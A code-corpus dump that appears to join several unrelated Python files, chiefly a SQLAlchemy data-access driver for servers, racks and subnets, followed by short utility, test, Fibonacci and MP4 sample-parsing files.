with Session() as session:
join = [models.Asset, models.Rack]
filters = {'asset.location': CONF.common.location}
filters.update(kwargs)
return cls._server_base(join, session=session, **filters).all()
@classmethod
def servers_get_by_cluster(cls, cluster):
"""
:type cluster: models.Cluster
:rtype: list of models.Server
"""
return cls.servers_get_by(cluster_id=cluster.id)
@classmethod
def server_get_by(cls, **kwargs):
"""
:param kwargs: filters joined by AND logic
:rtype: models.Server
"""
join = [models.Asset, models.Rack]
filters = {'asset.location': CONF.common.location}
filters.update(kwargs)
with Session() as session:
return cls._server_base(join, session=session, **filters).one()
@classmethod
def _server_base(cls, join, **kwargs):
if [k for k in kwargs.keys() if k.startswith('interfaces.')]:
join.append(models.ServerInterface)
load = ['asset.rack._network_map', '_interfaces', 'cluster']
r = cls._object_get_by(models.Server,
join, load, **kwargs)
return r
@staticmethod
def server_add_interface(server, **kwargs):
with Session() as session:
iface = models.ServerInterface()
for k, v in kwargs.items():
setattr(iface, k, v)
iface.server_id = server.id
iface.save(session)
def server_update_interface(self, interface):
self._object_update(interface, force=True)
@classmethod
def pxe_boot_all(cls, **kwargs):
"""
:param kwargs: filters joined by AND logic
:rtype: list of models.PxEBoot
"""
return cls._object_get_by(models.PxEBoot, [], [], **kwargs).all()
@classmethod
def pxe_boot_one(cls, **kwargs):
"""
:param kwargs: filters joined by AND logic
:rtype: models.PxEBoot
"""
return cls._object_get_by(models.PxEBoot, [], [], **kwargs).one()
@classmethod
def pxe_boot_create(cls, serial, lock_id):
"""
:param kwargs: filters joined by AND logic
:rtype: models.PxEBoot
"""
pxe_boot = models.PxEBoot()
pxe_boot.serial = serial
pxe_boot.lock_id = lock_id
with Session() as session:
pxe_boot.save(session)
return pxe_boot
def change_log(self, obj_type, obj_id):
"""
Request change log from DB
:param obj_type: Name of the DB object to inspect changes
:type obj_type: str
:param obj_id: key of the object to inspect changes
:type obj_id: str
:rtype: list of dao.control.db.model.ChangeLog
"""
args = dict(type=obj_type)
if obj_id:
args['object_id'] = obj_id
return self._object_get_by(models.ChangeLog, [], [], **args).all()
def ports_list(self, **kwargs):
"""
Request ports from DB
:param kwargs: filters
:type kwargs: dict
:rtype: list of dao.control.db.model.Port
"""
return self._object_get_by(models.Port, [], [], **kwargs).all()
@staticmethod
def port_create(rack_name, device_id, vlan_tag, mac, ip, subnet_id):
""" Create new port record
:type rack_name: str
:type device_id: str
:type vlan_tag: int
:type mac: str
:type ip: str
:type subnet_id: int
:rtype: dao.control.db.model.Port
"""
with Session() as session:
ports = model_query(models.Port, session=session).\
filter_by(ip=ip).all()
if ports:
raise exceptions.DAOConflict('Port for ip %r exists' % ip)
p = models.Port()
p.device_id = device_id
p.rack_name = rack_name
p.vlan_tag = vlan_tag
p.ip = ip
p.mac = mac
p.subnet_id = subnet_id
p.save(session=session)
return p
@staticmethod
def object_get(object_type, key, key_value):
"""
Object get by key
:param object_type: name of the DB object to get
:type object_type: str
:param key: name of the field used as a query key
:type key: str
:param key_value: value to be used for a query
:type key_value: str
:rtype: models.DaoBase
"""
with Session() as session:
obj_cls = getattr(models, object_type)
key_field = getattr(obj_cls, key)
return (model_query(obj_cls, session=session).
filter(key_field == key_value).one())
@staticmethod
def update(obj, log=False):
with Session() as session:
if log:
log_obj = models.ChangeLog()
log_obj.type = obj.__tablename__
log_obj.object_id = obj.id
log_obj.new, log_obj.old = obj.get_changes()
log_obj.save()
obj.save(session)
return obj
@staticmethod
def object_create(obj):
"""
Create DB object
:type obj: models.DaoBase
:return: Created object returned by DB
:rtype: models.DaoBase
"""
obj.save()
return obj
@staticmethod
def object_delete(obj, soft=True):
"""
Soft delete DB object
:type obj: models.DaoBase
:rtype: None
"""
session = get_session()
with session.begin():
if soft:
obj.soft_delete(session)
else:
session.delete(obj)
@staticmethod
def _create_object(cls, values):
obj = cls()
obj.update(values)
obj.save()
return obj
@classmethod
def _object_get_by(cls, obj_cls, joins, loads, **kwargs):
"""
Build Query based on join and kwargs and run Request
@type joins: list of BaseModel
@type loads: list of strings
"""
def arg2arg(_arg, _value):
_arg = _arg.split('.')
_cls = obj_cls
for _ref_name in _arg[:-1]:
attr = getattr(_cls, _ref_name)
if isinstance(attr, property):
attr = getattr(_cls, '_' + _ref_name)
_cls = attr.property.mapper.class_
_attr = getattr(_cls, _arg[-1])
if isinstance(_value, list):
return _attr.in_(_value)
else:
return _attr == _value
# Generate base query
query = model_query(obj_cls, session=kwargs.pop('session', None))
# Apply joins
for join in joins:
query = query.join(join)
# Apply joined loads one by one
for load in loads:
load = load.split('.')
j_load = joinedload(load[0])
for field in load[1:]:
j_load = j_load.joinedload(field)
query = query.options(j_load)
query_arg = [arg2arg(k, v) for k, v in six.iteritems(kwargs)]
return query.filter(*query_arg)
| # Copyright 2016 Symantec, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import itertools
import six
from dao.common import config
from dao.control import exceptions
from dao.control.db import model as models
from dao.control.db.session_api import get_session, Session
from sqlalchemy import or_
from sqlalchemy.orm import exc as sa_exc
from sqlalchemy.orm import joinedload
CONF = config.get_config()
class Session(object):
def __init__(self):
self.session = None
def __enter__(self):
self.session = get_session()
return self.session
def __exit__(self, exc_type, exc_val, exc_tb):
if self.session:
self.session.close()
def _read_deleted_filter(query, db_model, deleted):
if 'deleted' not in db_model.__table__.columns:
raise ValueError(("There is no `deleted` column in `%s` table. "
"Project doesn't use soft-deleted feature.")
% db_model.__name__)
default_deleted_value = db_model.__table__.c.deleted.default.arg
if deleted:
query = query.filter(db_model.deleted != default_deleted_value)
else:
query = query.filter(db_model.deleted == default_deleted_value)
return query
def model_query(model,
args=None,
session=None,
read_deleted='no'):
"""Query helper that accounts for context's `read_deleted` field.
:param model: Model to query. Must be a subclass of ModelBase.
:param args: Arguments to query. If None - model is used.
:param session: If present, the session to use.
:param read_deleted: Permitted values are 'no', which does not return
deleted values; 'only', which only returns deleted
values; and 'yes', which does not filter deleted
values.
"""
if not issubclass(model, models.Base):
raise TypeError("model should be a subclass of ModelBase")
if session is None:
session = get_session()
if 'no' == read_deleted:
deleted = False
elif 'only' == read_deleted:
deleted = True
elif 'yes' == read_deleted:
deleted = None
else:
raise ValueError("Unrecognized read_deleted value '%s'" % read_deleted)
query = session.query(model) if not args else session.query(*args)
if deleted is not None:
query = _read_deleted_filter(query, model, deleted)
return query
class Driver(object):
def __init__(self):
# Patch exceptions
sa_exc.NoResultFound = exceptions.DAONotFound
def objects_get_by(self, cls, joins, loads, **kwargs):
cls = getattr(models, cls)
joins = [getattr(models, join) for join in joins]
return self._object_get_by(cls, joins, loads, **kwargs).all()
@staticmethod
def worker_register(name, worker_url, location):
""" Ensure worker record exists. Update worker_url field.
:rtype: models.Worker
"""
with Session() as session:
try:
worker = model_query(models.Worker, session=session).filter_by(
name=name, location=location).one()
worker.worker_url = worker_url
worker.save(session)
except exceptions.DAONotFound:
worker = models.Worker()
worker.worker_url = worker_url
worker.name = name
worker.location = location
worker.save(session)
return worker
@staticmethod
def worker_get_by_rack(rack_name):
"""
:type rack_name: str
:rtype: models.Worker
"""
worker = model_query(models.Worker).join(models.Rack)
return worker.filter(models.Rack.name == rack_name).one()
@staticmethod
def worker_list(**kwargs):
"""
:type kwargs: dict
:rtype: list of models.Worker
"""
return model_query(models.Worker).filter_by(**kwargs).all()
@staticmethod
def worker_get(**kwargs):
"""
:type kwargs: dict
:rtype: models.Worker
"""
return model_query(models.Worker).filter_by(**kwargs).one()
def sku_create(self, location, name, cpu, ram, storage, description=''):
""" Create new SKU object
:rtype: models.Sku
"""
with Session() as session:
try:
self.sku_get(name)
raise exceptions.DAOConflict('SKU <{0}> already exists'.
format(name))
except exceptions.DAONotFound:
sku = models.Sku()
sku.name = name
sku.location = location or CONF.common.location
sku.cpu = cpu
sku.ram = ram
sku.storage = storage
sku.description = description
sku.save(session)
return sku
@staticmethod
def sku_get(sku_name):
""" Request SKU object
:rtype: models.Sku
"""
query = model_query(models.Sku).filter_by(
location=CONF.common.location, name=sku_name)
return query.one()
@staticmethod
def sku_get_all(location=None):
""" Request all SKU object
:rtype: list of models.Sku
"""
location = location or CONF.common.location
return model_query(models.Sku).filter_by(location=location).all()
@staticmethod
def cluster_get(name):
""" Request Cluster object by name
:rtype: models.Cluster
"""
return model_query(models.Cluster).filter_by(
location=CONF.common.location, name=name).one()
@staticmethod
def cluster_list(**kwargs):
""" Request Cluster objects by arguments
:rtype: list of models.Cluster
"""
return model_query(models.Cluster).filter_by(
location=CONF.common.location, **kwargs).all()
def cluster_create(self, location, name, cluster_type):
""" Create Cluster object.
:rtype: models.Cluster
"""
try:
self.cluster_get(name)
raise exceptions.DAOConflict('Cluster {0} already exists'.
format(name))
except exceptions.DAONotFound:
cluster = models.Cluster()
cluster.name = name
cluster.type = cluster_type
cluster.location = location or CONF.common.location
cluster.save()
return cluster
@staticmethod
def network_map_list(**kwargs):
""" Request list NetworkMap by arguments
:rtype: list of models.NetworkMap
"""
return model_query(models.NetworkMap).filter_by(**kwargs).all()
@staticmethod
def network_map_get(name):
""" Request single NetworkMap by name
:rtype: models.NetworkMap
"""
return model_query(models.NetworkMap).filter_by(name=name).one()
@staticmethod
def network_map_get_by(**kwargs):
""" Request single NetworkMap by arguments
:rtype: models.NetworkMap
"""
return model_query(models.NetworkMap).filter_by(**kwargs).one()
def network_map_create(self, name, port2number, number2unit,
pxe_nic, network):
""" Create NetworkMap new object
:rtype: models.NetworkMap
"""
try:
self.network_map_get(name)
raise exceptions.DAOConflict('Networking map {0} already exists'.
format(name))
except exceptions.DAONotFound:
net_map = models.NetworkMap()
net_map.name = name
net_map.mgmt_port_map = port2number
net_map.number2unit = number2unit
net_map.pxe_nic = pxe_nic
net_map.network = network
net_map.save()
return net_map
@staticmethod
def asset_create(rack, **kwargs):
with Session() as session:
asset = models.Asset()
asset.update(kwargs)
asset.rack_id = rack.id
asset.save(session)
return asset
def assets_get_by(self, **kwargs):
with Session() as session:
r = self._object_get_by(models.Asset, [models.Rack], ['rack'],
session=session, **kwargs)
return r.all()
def asset_get_by(self, **kwargs):
with Session() as session:
r = self._object_get_by(models.Asset, [models.Rack], ['rack'],
session=session, **kwargs)
return r.one()
def subnets_get(self, rack_name, vlan=None):
"""
Return list of dicts with info on subnets assigned to ToR switch.
:type rack_name:
:rtype: list of models.Subnet
"""
nds = self.network_device_get_by_rack(rack_name)
net_ips = [list(if_.net_ip for if_ in nd.interfaces.values()
if if_.net_ip)
for nd in nds]
if net_ips:
net_ips = list(itertools.chain(*net_ips))
return self.subnets_get_by_ips(net_ips, vlan)
else:
return []
@staticmethod
def subnets_get_by_ips(ips, vlan=None):
"""
Request subnets with specific ips and subnet type
:type ips: list of str
:type net_type: str
:rtype: list of models.Subnet
"""
obj_cls = models.Subnet
ips = list(ips)
if not ips:
return []
filters = [obj_cls.ip.in_(ips),
obj_cls.location == CONF.common.location]
if vlan:
filters.append(obj_cls.vlan_tag == vlan)
query = model_query(obj_cls).filter(*filters)
return query.all()
def subnets_get_by(self, **kwargs):
"""
Request subnets by parameters (joined by 'and' logic)
:type kwargs: dict
:rtype: list of models.Subnet
"""
cls = models.Subnet
filters = dict(location=CONF.common.location)
filters.update(kwargs)
return self._object_get_by(cls, [], [], **filters).all()
def subnet_create(self, values):
return self._create_object(models.Subnet, values)
@classmethod
def rack_get(cls, **kwargs):
"""
:param kwargs: args to be used as a filter to get rack. Are joined
using 'and' logic
:rtype: models.Rack
"""
with Session() as session:
obj_cls = models.Rack
return cls._object_get_by(
obj_cls, [], ['_network_map', '_worker'],
session=session,
**kwargs).one()
@staticmethod
def rack_update(rack):
"""
:type rack: models.Rack
:rtype: models.Rack
"""
with Session() as session:
rack.save(session)
return rack
@classmethod
def rack_get_by_subnet_ip(cls, ip):
"""
:type ip: str
:rtype: models.Rack
"""
with Session() as session:
nds = cls._object_get_by(
models.NetworkDevice,
[models.SwitchInterface], # Join on interfaces
['asset.rack._network_map', '_interfaces'],
session=session, **{'_interfaces.net_ip': ip}).all()
racks = set(nd.asset.rack.id for nd in nds)
if racks:
if len(racks) == 1:
return nds[0].asset.rack
else:
raise exceptions.DAOManyFound('More than one rack for {0}'.
format(ip))
else:
raise exceptions.DAONotFound('No rack found for {0}'.
format(ip))
@classmethod
def rack_get_all(cls, **kwargs):
"""
:type kwargs: dict
:rtype: list of models.Rack
"""
with Session() as session:
joins = []
if [k for k in kwargs.keys() if 'network_map.' in k]:
joins.append(models.NetworkMap)
if [k for k in kwargs.keys() if 'worker.' in k]:
joins.append(models.Worker)
return cls._object_get_by(models.Rack,
joins,
['_worker', '_network_map'],
session=session, **kwargs).all()
def racks_get_by_worker(self, worker):
"""
:rtype: list of models.Rack
"""
return self.rack_get_all(**{'worker.id': worker.id})
def rack_create(self, values):
return self._create_object(models.Rack, values)
@classmethod
def _network_device_base(cls, join, **kwargs):
load = ['asset.rack', '_interfaces']
r = cls._object_get_by(models.NetworkDevice,
join,
load,
**kwargs)
return r
@classmethod
def network_device_get_by_rack(cls, rack_name):
join = [models.Asset, models.Rack]
r = cls._network_device_base(join, **{'asset.rack.name': rack_name})
return r.all()
@classmethod
def network_device_get_by(cls, **kwargs):
join = [models.Asset, models.Rack]
filters = {'asset.location': CONF.common.location}
filters.update(kwargs)
r = cls._network_device_base(join, **filters)
return r.all()
def server_create(self, cluster, asset, **kwargs):
"""
:type server: models.Asset
:return:
"""
try:
server = models.Server()
server.update(kwargs)
server.asset_id = asset.id
server.cluster_id = cluster.id
self.server_get_by(**{'asset.serial': asset.serial})
raise exceptions.DAOConflict('Server %r exists' % server)
except exceptions.DAONotFound:
with Session() as session:
server.save(session)
return server
@classmethod
def server_update_sku(cls, server, sku):
"""Update single server using server key
:type server: models.Server
:type sku: models.Sku
:rtype: models.Server"""
server.sku_id = sku.id
return cls.server_update(server)
@classmethod
def server_update(cls, server, comment=None, log=False, reload=False):
"""Update single server using server key
:type server: models.Server
:rtype: models.Server"""
if comment is not None:
server.message = comment
cls.update(server, log=log)
if reload:
return cls.server_get_by(id=server.id)
else:
return server
def servers_get_by_worker(self, worker, **kwargs):
with Session() as session:
kwargs['asset.rack.worker_id'] = worker.id
return self.servers_get_by(session=session, **kwargs)
@classmethod
def servers_get_by(cls, **kwargs):
"""
:param kwargs: filters joined by AND logic
:rtype: list of models.Server
"""
with Session() as session:
join = [models.Asset, models.Rack]
filters = {'asset.location': CONF.common.location}
filters.update(kwargs)
return cls._server_base(join, session=session, **filters).all()
@classmethod
def servers_get_by_cluster(cls, cluster):
"""
:type cluster: models.Cluster
:rtype: list of models.Server
"""
return cls.servers_get_by(cluster_id=cluster.id)
@classmethod
def server_get_by(cls, **kwargs):
"""
:param kwargs: filters joined by AND logic
:rtype: models.Server
"""
join = [models.Asset, models.Rack]
filters = {'asset.location': CONF.common.location}
filters.update(kwargs)
with Session() as session:
return cls._server_base(join, session=session, **filters).one()
@classmethod
def _server_base(cls, join, **kwargs):
if [k for k in kwargs.keys() if k.startswith('interfaces.')]:
join.append(models.ServerInterface)
load = ['asset.rack._network_map', '_interfaces', 'cluster']
r = cls._object_get_by(models.Server,
join, load, **kwargs)
return r
@staticmethod
def server_add_interface(server, **kwargs):
with Session() as session:
iface = models.ServerInterface()
for k, v in kwargs.items():
setattr(iface, k, v)
iface.server_id = server.id
iface.save(session)
def server_update_interface(self, interface):
self._object_update(interface, force=True)
@classmethod
def pxe_boot_all(cls, **kwargs):
"""
:param kwargs: filters joined by AND logic
:rtype: list of models.PxEBoot
"""
return cls._object_get_by(models.PxEBoot, [], [], **kwargs).all()
@classmethod
def pxe_boot_one(cls, **kwargs):
"""
:param kwargs: filters joined by AND logic
:rtype: models.PxEBoot
"""
return cls._object_get_by(models.PxEBoot, [], [], **kwargs).one()
@classmethod
def pxe_boot_create(cls, serial, lock_id):
"""
:param kwargs: filters joined by AND logic
:rtype: models.PxEBoot
"""
pxe_boot = models.PxEBoot()
pxe_boot.serial = serial
pxe_boot.lock_id = lock_id
with Session() as session:
pxe_boot.save(session)
return pxe_boot
def change_log(self, obj_type, obj_id):
"""
Request change log from DB
:param obj_type: Name of the DB object to inspect changes
:type obj_type: str
:param obj_id: key of the object to inspect changes
:type obj_id: str
:rtype: list of dao.control.db.model.ChangeLog
"""
args = dict(type=obj_type)
if obj_id:
args['object_id'] = obj_id
return self._object_get_by(models.ChangeLog, [], [], **args).all()
def ports_list(self, **kwargs):
"""
Request ports from DB
:param kwargs: filters
:type kwargs: dict
:rtype: list of dao.control.db.model.Port
"""
return self._object_get_by(models.Port, [], [], **kwargs).all()
@staticmethod
def port_create(rack_name, device_id, vlan_tag, mac, ip, subnet_id):
""" Create new port record
:type rack_name: str
:type device_id: str
:type vlan_tag: int
:type mac: str
:type ip: str
:type subnet_id: int
:rtype: dao.control.db.model.Port
"""
with Session() as session:
ports = model_query(models.Port, session=session).\
filter_by(ip=ip).all()
if ports:
raise exceptions.DAOConflict('Port for ip %r exists' % ip)
p = models.Port()
p.device_id = device_id
p.rack_name = rack_name
p.vlan_tag = vlan_tag
p.ip = ip
p.mac = mac
p.subnet_id = subnet_id
p.save(session=session)
return p
@staticmethod
def object_get(object_type, key, key_value):
"""
Object get by key
:param object_type: name of the DB object to get
:type object_type: str
:param key: name of the field used as a query key
:type key: str
:param key_value: value to be used for a query
:type key_value: str
:rtype: models.DaoBase
"""
with Session() as session:
obj_cls = getattr(models, object_type)
key_field = getattr(obj_cls, key)
return (model_query(obj_cls, session=session).
filter(key_field == key_value).one())
@staticmethod
def update(obj, log=False):
with Session() as session:
if log:
log_obj = models.ChangeLog()
log_obj.type = obj.__tablename__
log_obj.object_id = obj.id
log_obj.new, log_obj.old = obj.get_changes()
log_obj.save()
obj.save(session)
return obj
@staticmethod
def object_create(obj):
"""
Create DB object
:type obj: models.DaoBase
:return: Created object returned by DB
:rtype: models.DaoBase
"""
obj.save()
return obj
@staticmethod
def object_delete(obj, soft=True):
"""
Soft delete DB object
:type obj: models.DaoBase
:rtype: None
"""
session = get_session()
with session.begin():
if soft:
obj.soft_delete(session)
else:
session.delete(obj)
@staticmethod
def _create_object(cls, values):
obj = cls()
obj.update(values)
obj.save()
return obj
@classmethod
def _object_get_by(cls, obj_cls, joins, loads, **kwargs):
"""
Build Query based on join and kwargs and run Request
@type joins: list of BaseModel
@type loads: list of strings
"""
def arg2arg(_arg, _value):
_arg = _arg.split('.')
_cls = obj_cls
for _ref_name in _arg[:-1]:
attr = getattr(_cls, _ref_name)
if isinstance(attr, property):
attr = getattr(_cls, '_' + _ref_name)
_cls = attr.property.mapper.class_
_attr = getattr(_cls, _arg[-1])
if isinstance(_value, list):
return _attr.in_(_value)
else:
return _attr == _value
# Generate base query
query = model_query(obj_cls, session=kwargs.pop('session', None))
# Apply joins
for join in joins:
query = query.join(join)
# Apply joined loads one by one
for load in loads:
load = load.split('.')
j_load = joinedload(load[0])
for field in load[1:]:
j_load = j_load.joinedload(field)
query = query.options(j_load)
query_arg = [arg2arg(k, v) for k, v in six.iteritems(kwargs)]
return query.filter(*query_arg)
| en | 0.708918 | # Copyright 2016 Symantec, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. Query helper that accounts for context's `read_deleted` field. :param model: Model to query. Must be a subclass of ModelBase. :param args: Arguments to query. If None - model is used. :param session: If present, the session to use. :param read_deleted: Permitted values are 'no', which does not return deleted values; 'only', which only returns deleted values; and 'yes', which does not filter deleted values. # Patch exceptions Ensure worker record exists. Update worker_url field. :rtype: models.Worker :type rack_name: str :rtype: models.Worker :type kwargs: dict :rtype: list of models.Worker :type kwargs: dict :rtype: models.Worker Create new SKU object :rtype: models.Sku Request SKU object :rtype: models.Sku Request all SKU object :rtype: list of models.Sku Request Cluster object by name :rtype: models.Cluster Request Cluster objects by arguments :rtype: list of models.Cluster Create Cluster object. :rtype: models.Cluster Request list NetworkMap by arguments :rtype: list of models.NetworkMap Request single NetworkMap by name :rtype: models.NetworkMap Request single NetworkMap by arguments :rtype: models.NetworkMap Create NetworkMap new object :rtype: models.NetworkMap Return list of dicts with info on subnets assigned to ToR switch. :type rack_name: :rtype: list of models.Subnet Request subnets with specific ips and subnet type :type ips: list of str :type net_type: str :rtype: list of models.Subnet Request subnets by parameters (joined by 'and' logic) :type kwargs: dict :rtype: list of models.Subnet :param kwargs: args to be used as a filter to get rack. Are joined using 'and' logic :rtype: models.Rack :type rack: models.Rack :rtype: models.Rack :type ip: str :rtype: models.Rack # Join on interfaces :type kwargs: dict :rtype: list of models.Rack :rtype: list of models.Rack :type server: models.Asset :return: Update single server using server key :type server: models.Server :type sku: models.Sku :rtype: models.Server Update single server using server key :type server: models.Server :rtype: models.Server :param kwargs: filters joined by AND logic :rtype: list of models.Server :type cluster: models.Cluster :rtype: list of models.Server :param kwargs: filters joined by AND logic :rtype: models.Server :param kwargs: filters joined by AND logic :rtype: list of models.PxEBoot :param kwargs: filters joined by AND logic :rtype: models.PxEBoot :param kwargs: filters joined by AND logic :rtype: models.PxEBoot Request change log from DB :param obj_type: Name of the DB object to inspect changes :type obj_type: str :param obj_id: key of the object to inspect changes :type obj_id: str :rtype: list of dao.control.db.model.ChangeLog Request ports from DB :param kwargs: filters :type kwargs: dict :rtype: list of dao.control.db.model.Port Create new port record :type rack_name: str :type device_id: str :type vlan_tag: int :type mac: str :type ip: str :type subnet_id: int :rtype: dao.control.db.model.Port Object get by key :param object_type: name of the DB object to get :type object_type: str :param key: name of the field used as a query key :type key: str :param key_value: value to be used for a query :type key_value: str :rtype: models.DaoBase Create DB object :type obj: models.DaoBase :return: Created object returned by DB :rtype: models.DaoBase Soft delete DB object :type obj: models.DaoBase :rtype: None Build Query based on join and kwargs and run Request @type joins: list of BaseModel @type loads: list of strings # Generate base query # Apply joins # Apply joined loads one by one | 1.903453 | 2 |
nltk_download.py | Bhaskers-Blu-Org1/banking-risk-mitigation-nlu-studio | 6 | 6616182 | <reponame>Bhaskers-Blu-Org1/banking-risk-mitigation-nlu-studio
import nltk
nltk.download('punkt')
nltk.download('averaged_perceptron_tagger') | import nltk
nltk.download('punkt')
nltk.download('averaged_perceptron_tagger') | none | 1 | 1.450401 | 1 | |
backend/api/ulca-ums-service/user-management/utilities/__init__.py | agupta54/ulca | 3 | 6616183 | <gh_stars>1-10
from .app_context import MODULE_CONTEXT
from .userutils import UserUtils
from .mongo_data_handler import normalize_bson_to_json
from .app_enums import EnumVals | from .app_context import MODULE_CONTEXT
from .userutils import UserUtils
from .mongo_data_handler import normalize_bson_to_json
from .app_enums import EnumVals | none | 1 | 1.108449 | 1 | |
tests/unittests/services/types.py | wilzbach/storyscript-sls | 0 | 6616184 | from pytest import mark
from sls.services.types import TypeMappings
from storyhub.sdk.service.output import (
OutputAny,
OutputBoolean,
OutputEnum,
OutputFloat,
OutputInt,
OutputList,
OutputMap,
OutputNone,
OutputObject,
OutputRegex,
OutputString,
)
@mark.parametrize(
"ty,output",
[
(OutputAny(data=None), "any"),
(OutputBoolean(data=None), "boolean"),
(OutputEnum(data=None), "enum"),
(OutputFloat(data=None), "float"),
(OutputInt(data=None), "int"),
(OutputList(OutputFloat(data=None), data=None), "List[float]"),
(
OutputMap(
OutputInt(data=None), OutputString(data=None), data=None
),
"Map[int,string]",
),
(OutputNone(data=None), "none"),
(OutputObject(properties={}, data=None), "object"),
(OutputRegex(data=None), "regex"),
(OutputString(data=None), "string"),
],
)
def test_get_type_string(ty, output):
assert TypeMappings.get_type_string(ty) == output
| from pytest import mark
from sls.services.types import TypeMappings
from storyhub.sdk.service.output import (
OutputAny,
OutputBoolean,
OutputEnum,
OutputFloat,
OutputInt,
OutputList,
OutputMap,
OutputNone,
OutputObject,
OutputRegex,
OutputString,
)
@mark.parametrize(
"ty,output",
[
(OutputAny(data=None), "any"),
(OutputBoolean(data=None), "boolean"),
(OutputEnum(data=None), "enum"),
(OutputFloat(data=None), "float"),
(OutputInt(data=None), "int"),
(OutputList(OutputFloat(data=None), data=None), "List[float]"),
(
OutputMap(
OutputInt(data=None), OutputString(data=None), data=None
),
"Map[int,string]",
),
(OutputNone(data=None), "none"),
(OutputObject(properties={}, data=None), "object"),
(OutputRegex(data=None), "regex"),
(OutputString(data=None), "string"),
],
)
def test_get_type_string(ty, output):
assert TypeMappings.get_type_string(ty) == output
| none | 1 | 2.447856 | 2 | |
000-fibonacci.py | bayramcicek/algoritma-analizi | 1 | 6616185 | #!/usr/bin/python3.6
# created by cicek on Mar 03, 2020 14:48
counter = 0
def fib_1(n):
# print(n)
global counter
counter += 1
if n < 2:
return n
else:
return (fib_1(n - 1)) + (fib_1(n - 2))
n = 10 # kaçıncı sıradaki fib sayısı -> 1 1 2 3 5 8 13...
result = fib_1(n)
print(result)
# print(counter)
'''
fib <- n -> counter
0 00 -> 1
1 01 -> 1
1 02 -> 3
2 03 -> 5
3 04 -> 9
5 05 -> 15
8 06 -> 25
. 07 -> 41
. 08 -> 67
09 -> 109
10 -> 177
11 -> 287
12 -> 465
13 -> 753
karmaşıklık -> O(2^n)
'''
| #!/usr/bin/python3.6
# created by cicek on Mar 03, 2020 14:48
counter = 0
def fib_1(n):
# print(n)
global counter
counter += 1
if n < 2:
return n
else:
return (fib_1(n - 1)) + (fib_1(n - 2))
n = 10 # kaçıncı sıradaki fib sayısı -> 1 1 2 3 5 8 13...
result = fib_1(n)
print(result)
# print(counter)
'''
fib <- n -> counter
0 00 -> 1
1 01 -> 1
1 02 -> 3
2 03 -> 5
3 04 -> 9
5 05 -> 15
8 06 -> 25
. 07 -> 41
. 08 -> 67
09 -> 109
10 -> 177
11 -> 287
12 -> 465
13 -> 753
karmaşıklık -> O(2^n)
'''
| en | 0.519235 | #!/usr/bin/python3.6 # created by cicek on Mar 03, 2020 14:48 # print(n) # kaçıncı sıradaki fib sayısı -> 1 1 2 3 5 8 13... # print(counter) fib <- n -> counter 0 00 -> 1 1 01 -> 1 1 02 -> 3 2 03 -> 5 3 04 -> 9 5 05 -> 15 8 06 -> 25 . 07 -> 41 . 08 -> 67 09 -> 109 10 -> 177 11 -> 287 12 -> 465 13 -> 753 karmaşıklık -> O(2^n) | 3.662848 | 4 |
mp4box/parsing/sample_generator.py | abhijeetbhagat/mp4box | 7 | 6616186 | <reponame>abhijeetbhagat/mp4box
from mp4box.utils.sample import VideoSample
from mp4box.utils.stream_reader import StreamReader
# SampleGenerator should work with both stbls and truns
# It should work with one mdat at a time.
class SampleGenerator:
def __init__(self, stbl):
self.stbl = stbl
def get_sample_count(self):
f_o = self.stbl.stsc.first_chunk
s_c = self.stbl.stsc.samples_per_chunk
lim = self.stbl.stsz.sample_count
k = 0
if self.stbl.stsc.entry_count > 1:
i = 0
j = i + 1
op1 = f_o[j]
op2 = f_o[i]
c = 0
# stsz table tells the total count of samples
while k < lim:
d = op1 - op2
v = s_c[c]
if d == 1:
i += 1
j += 1
if j >= len(f_o):
op1 = lim
c = len(s_c) - 1
else:
op2 = f_o[i]
op1 = f_o[j]
c += 1
else:
op2 += 1
yield v
k += 1
else:
# TODO abhi: fix me - we have the same loop above
while k < lim:
yield s_c[0]
k += 1
class AudioSampleGenerator:
def __init__(self, trak, mdat):
pass
def get(self):
pass
class VideoSampleGenerator(SampleGenerator):
def __init__(self, reader: StreamReader, trak, mdat):
super().__init__(trak.get_stbl())
self.reader = reader
self.stbl = trak.get_stbl()
self.mdat = mdat
# TODO abhi: could this be common for audio as well?
def get_sample(self):
self.reader.reset() # reset the file ptr to the beginning before we begin
num_chunks = self.stbl.stco.entry_count
i = 0
samples_per_chunk = self.get_sample_count()
for chunk_offset in self.stbl.stco.chunk_offsets:
self.reader.skip(
chunk_offset
) # set the file ptr to the beginning of the chunk
lim = next(samples_per_chunk)
for _ in range(0, lim):
sample_size = self.stbl.stsz.entry_size[i]
i += 1
sample = VideoSample(sample_size, self.reader)
yield sample
# once all the samples in the current chunk are read,
# reset the file ptr to the beginning since we skip
# at the beginning of this loop.
# TODO abhi: see if we can avoid this?
self.reader.reset()
def get_sample_sizes(self):
i = 0
samples_per_chunk = self.get_sample_count()
for chunk_offset in self.stbl.stco.chunk_offsets:
self.reader.skip(
chunk_offset
) # set the file ptr to the beginning of the chunk
lim = next(samples_per_chunk)
for _ in range(0, lim):
sample_size = self.stbl.stsz.entry_size[i]
i += 1
yield sample_size
def get_generator_pos(self):
return self.reader.current_pos()
def get_sync_sample(self, n):
self.reader.reset() # reset the file ptr to the beginning before we begin
j = 0
k = 0
for chunk_offset in self.stbl.stco.chunk_offsets:
self.reader.skip(chunk_offset)
samples_per_chunk = self.get_sample_count()
for _ in range(0, samples_per_chunk):
if j == self.stbl.stss.sample_num[k]:
sample_size = self.stbl.stsz.entry_size[k]
sync_sample = VideoSample(sample_size, self.reader)
k += 1
yield sync_sample
j += 1
self.reader.reset()
def get_next_sync_sample_index(self):
stss = self.stbl.stss
for ss in stss.sample_num:
yield ss
| from mp4box.utils.sample import VideoSample
from mp4box.utils.stream_reader import StreamReader
# SampleGenerator should work with both stbls and truns
# It should work with one mdat at a time.
class SampleGenerator:
def __init__(self, stbl):
self.stbl = stbl
def get_sample_count(self):
f_o = self.stbl.stsc.first_chunk
